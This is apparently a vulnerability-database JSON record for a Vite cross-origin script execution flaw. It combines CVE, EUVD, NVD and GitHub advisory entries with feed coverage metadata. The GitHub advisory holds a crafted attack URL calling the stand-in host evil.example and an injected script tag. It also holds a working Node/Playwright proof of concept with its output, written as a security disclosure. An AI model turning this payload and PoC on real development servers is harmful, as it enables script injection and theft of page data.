{"id":"CVE-2026-112945","revision":null,"records":[{"revision":"9337b83354344712a6ae27b19b59736a","observedAt":"2026-10-28T15:46:50.301+00:00","statement":{"source":"cve-program","id":"CVE-2026-112945","aliases":[],"title":"Vite: Cross origin script execution through Vite custom middleware","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","state":0,"publishedAt":"2026-10-20T15:00:58.17+00:00","modifiedAt":"2026-10-28T14:11:03.638+00:00","affected":[{"ecosystem":"Vendor product","name":"vite","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"vite\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 8.3.0, < 8.3.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 8.2.0, < 8.2.4\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 8.0.0, < 8.1.6\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 7.0.0, < 7.3.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 6.4.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"vite-plus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"vite-plus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.1,"severity":"LOW"}],"references":["https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw","https://github.com/vitejs/vite/pull/23653","https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-112945","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-112945","identifiers":["CVE-2026-112945"]},"retained":false,"historicalAffected":[]},{"revision":"b5ea1b162dbe433e9fa82772a53b80ed","observedAt":"2026-10-30T01:56:57.657+00:00","statement":{"source":"euvd","id":"EUVD-2026-105125","aliases":["CVE-2026-112945","GHSA-9jrq-w75r-8gcw"],"title":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFi…","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":2.1,"severity":null}],"references":["https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw","https://github.com/vitejs/vite/pull/23653","https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105125","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 3:00:58 PM","dateUpdated":"Oct 28, 2026, 2:11:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105125","identifiers":["EUVD-2026-105125","CVE-2026-112945","GHSA-9jrq-w75r-8gcw"]},"retained":false,"historicalAffected":[]},{"revision":"3ace7ebd46e64553b40105499c55dba4","observedAt":"2026-10-29T05:48:28.56+00:00","statement":{"source":"nvd","id":"CVE-2026-112945","aliases":[],"title":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFi…","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","state":0,"publishedAt":"2026-10-20T16:17:05.043+00:00","modifiedAt":"2026-10-28T15:17:03.2+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":2.1,"severity":"LOW"}],"references":["https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17","https://github.com/vitejs/vite/pull/23653","https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112945","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-80"],"productCriteria":[],"sourceDates":{"published":"2026-10-20T16:17:05.043","lastModified":"2026-10-28T15:17:03.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-112945","identifiers":["CVE-2026-112945"]},"retained":false,"historicalAffected":[]},{"revision":"5f4a50a29fd345a6b6644f3a64cfa2b8","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9jrq-w75r-8gcw","aliases":["CVE-2026-112945"],"title":"Vite: Cross origin script execution through Vite custom middleware","description":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n<script type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy&index=0.js\"></script>\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n  pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n  viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = '<script type=\"module\">document.body.textContent = \"Vite app\"</script>'\n\nconst listen = (server, port = 0) =>\n  new Promise((resolve, reject) => {\n    server.once('error', reject)\n    server.listen(port, '127.0.0.1', () => {\n      server.off('error', reject)\n      resolve(server.address().port)\n    })\n  })\n\nconst close = (server) =>\n  new Promise((resolve, reject) => {\n    server.close((error) => (error ? reject(error) : resolve()))\n  })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) => {\n  attackerRequest = request.url\n  response.writeHead(200, {\n    'access-control-allow-origin': '*',\n    'content-type': 'text/javascript',\n  })\n  response.end(\n    \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n  )\n})\n\nconst vite = await createViteServer({\n  appType: 'custom',\n  configFile: false,\n  root: directory,\n  server: {\n    hmr: false,\n    middlewareMode: true,\n    watch: null,\n  },\n})\n\nconst application = createHttpServer((request, response) => {\n  vite.middlewares(request, response, async (error) => {\n    if (error) {\n      response.destroy(error)\n      return\n    }\n\n    try {\n      const transformed = await vite.transformIndexHtml(request.url, html)\n      response.writeHead(200, { 'content-type': 'text/html' })\n      response.end(transformed)\n    } catch (transformError) {\n      response.destroy(transformError)\n    }\n  })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n  const page = await browser.newPage()\n  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n  await page.waitForFunction(\n    () => document.documentElement.dataset.viteXssPoc === 'executed',\n  )\n\n  console.log(`attacker request: ${attackerRequest}`)\n  console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n  await browser.close()\n  await close(application)\n  await vite.close()\n  await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy&index=0.js\nJavaScript from the attacker server executed in the Vite page\n```","state":0,"publishedAt":"2026-10-21T16:48:14+00:00","modifiedAt":"2026-10-21T17:00:26.5693829+00:00","affected":[{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.3.0"},{"kind":"fixed","version":"8.3.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.2.0"},{"kind":"fixed","version":"8.2.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.1.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.3.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.4.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"vite-plus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw","https://nvd.nist.gov/vuln/detail/CVE-2026-112945","https://github.com/vitejs/vite/pull/23653","https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17","https://github.com/vitejs/vite"],"sourceUrl":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9jrq-w75r-8gcw","identifiers":["GHSA-9jrq-w75r-8gcw","CVE-2026-112945"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-31T05:45:30.8722609+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-31T05:45:30.8722609+00:00","lastSuccessAt":"2026-10-31T05:45:31.0332296+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:31.0332297+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9266d7b009bf9c4a0ccdcb5cbdea7f905cb3c4d92fd3b41581ece16b2cfdc4e7-8fda870d2dfde75a20cf3b9f93251dc89192f01732db2c40de1655416075c161","complete":true,"records":417488,"lastAttemptAt":"2026-10-31T05:45:30.2084603+00:00","lastSuccessAt":"2026-10-31T05:45:30.187752+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:30.2084603+00:00","snapshotPublishedAt":"2026-10-31T05:26:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5eb069e059248ab9c1b8cc754ce0885","complete":true,"records":13565,"lastAttemptAt":"2026-10-31T05:45:57.2866928+00:00","lastSuccessAt":"2026-10-31T03:47:38.206+00:00","error":null,"lastVerifiedAt":"2026-10-31T03:47:38.206+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-31T05:45:30.8722609+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-31T05:45:30.8722609+00:00","lastSuccessAt":"2026-10-31T05:45:31.033978+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:31.0339781+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0826d0b2e3bb4e3baeab9fb71c23bd8d","complete":false,"records":13577,"lastAttemptAt":"2026-10-31T05:45:56.6846453+00:00","lastSuccessAt":"2026-10-31T05:45:56.681+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:56.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-10-31T05:45:30.8297068+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:30.8297068+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-31T05:45:30.2533058+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:30.2533058+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-10-31T05:45:30.8413581+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:30.8413581+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3ce2e3336768d0abd5b020f6f12bd5502a5deb02700e9d89d279597dce6e72ae","complete":true,"records":230992,"lastAttemptAt":"2026-10-31T05:45:30.7272024+00:00","lastSuccessAt":"2026-10-31T03:47:08.0119269+00:00","error":null,"lastVerifiedAt":"2026-10-31T05:45:30.7272024+00:00","snapshotPublishedAt":"2026-10-31T03:03:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}